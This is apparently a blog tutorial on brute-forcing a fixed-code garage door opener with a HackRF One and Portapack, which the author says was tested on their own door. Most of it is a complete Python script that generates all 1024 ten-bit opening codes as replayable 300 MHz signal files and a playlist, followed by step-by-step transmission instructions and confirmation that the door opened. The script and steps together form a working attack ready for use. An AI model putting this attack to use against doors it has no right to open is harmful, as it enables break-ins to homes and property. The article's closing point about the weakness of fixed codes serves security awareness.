How to brute-force a garage door with HackRF

In this article I will show how it is feasible to open a garage door by transmitting all the possible opening codes in short sequence using HackRF + Portapack. This is an experiment I've performed on my own garage door, which I have legit access to.

This particular door uses a fairly typical but quite insecure protocol based on the configuration of a 10-DIP switch. Previously I wrote an article showing how to emulate the remote for the same garage door. Here we will re-use some of the learnings to perform a brute-force attack.

Needless to say, this is a purely informative article and I am not responsible for your own actions.

Format of the opening codes

As we saw in this previous article, the code has the following format:

Let's do some math:

Generating the brute-force attack signal

Now we will synthesize the 7-minute signal described above and save it in .c8 format, so we can easily replay it from the Portapack later. For that, we use the following Python script:

import struct
import os

frequency = 300000000 # 300 Mhz
samp_rate = 500000
buffer_duration = 0.020 # 20 ms
buffer_samples = round(samp_rate * buffer_duration)
pulse_duration = 1.97e-3 # 1.97 ms
pulse_samples = round(samp_rate * pulse_duration)

short_ratio = 0.25
long_ratio = 0.75

begin_wait_pulses = 5
end_wait_pulses = 5

amplitude = 127
repeat = 10

def write_buffer(f):
  for _ in range(buffer_samples):
    f.write(struct.pack("<b", 0)) # real
    f.write(struct.pack("<b", 0)) # imaginary

def write_code(f, code):
  # Begin wait pulses
  for _ in range(begin_wait_pulses):
    for _ in range(pulse_samples):
      f.write(struct.pack("<b", 0)) # real
      f.write(struct.pack("<b", 0)) # imaginary

  # Data pulses
  for bit in code:
    on_ratio = short_ratio if bit == 0 else long_ratio
    on_samples = round(on_ratio * pulse_samples)
    off_samples = pulse_samples - on_samples

    for _ in range(on_samples):
      f.write(struct.pack("<b", amplitude)) # real
      f.write(struct.pack("<b", 0)) # imaginary

    for _ in range(off_samples):
      f.write(struct.pack("<b", 0)) # real
      f.write(struct.pack("<b", 0)) # imaginary

  # End wait pulses
  for _ in range(begin_wait_pulses):
    for _ in range(pulse_samples):
      f.write(struct.pack("<b", 0)) # real
      f.write(struct.pack("<b", 0)) # imaginary

def number_to_code(n):
  code = [0]*10
  for i in range(10):
    code[9 - i] = (n // (2**i)) % 2
  return code

# Create output directories
os.makedirs("SAMPLES/garage-brute-force", exist_ok=True)
os.makedirs("PLAYLIST", exist_ok=True)

# Split the codes into 16 different files: 64 codes per file
for i in range(16):
  start_code = 64 * i
  end_code = start_code + 64
  file_name = f"SAMPLES/garage-brute-force/garage-brute-force-{i}"

  with open(f"{file_name}.C8", "wb") as f:
    # Initial silence
    write_buffer(f)

    # Generate all codes in the range
    for n in range(start_code, end_code):
      code = number_to_code(n)

      # Repeat the code a few times
      for _ in range(repeat):
        write_code(f, code)

  # Write metadata file
  with open(f"{file_name}.TXT", "w") as f:
    f.write(f"sample_rate={samp_rate}\n")
    f.write(f"center_frequency={frequency}\n")

# Write playlist file
with open("PLAYLIST/garage-brute-force.PPL", "w") as f:
  f.write(f"# Plays all 1024 possible codes of a 10-DIP garage door opener\n")
  for i in range(16):
    f.write(f"/SAMPLES/garage-brute-force/garage-brute-force-{i}.C8\n")

Download the script here: garage-brute-force.py

The script generates the following output files:

- PLAYLIST
  - garage-brute-force.PPL
- SAMPLES
  - garage-brute-force
    - garage-brute-force-0.C8
    - garage-brute-force-0.TXT
    - garage-brute-force-1.C8
    - garage-brute-force-1.TXT
      ...
    - garage-brute-force-15.C8
    - garage-brute-force-15.TXT

You may download the ready-to-copy output files here: garage-brute-force.tar.xz

Transmitting the attack signal with HackRF + Portapack

Finally, we will a HackRF to perform the brute force attack. The specific model I own is a HackRF One Portapack H4M with the Mayhem firmware, but the instructions should be very similar for other variants of the Portapack.

Before we can initiate the attack, we must copy the files generated above into the SD card of the HackRF Portapack. I highly recommend taking out the SD card and connecting it directly to your computer with a reader, because we'll be transferring about 400 MB of data, and the data transfer rate is extremely low when using the "SD over USB" built-in utility.

Once the files are in place, the final step is to open the Replay app and find the garage-brute-force playlist from it, and then press the "play" icon.

Transmitting the brute force attack signal with the Replay app

It takes about 7 minutes to transmit the full signal covering all possible codes. I replayed this signal near my garage door and, not surprisingly, the door opened at some point near the middle of the playlist. It is confirmed: doors using this type of fixed short code are extremely insecure, and anyone with a HackRF can hack them open. It should be technically possible for these doors to implement a jamming-detection mechanism and stop responding until RF silence is restored for some time, but at least my door doesn't implement such thing.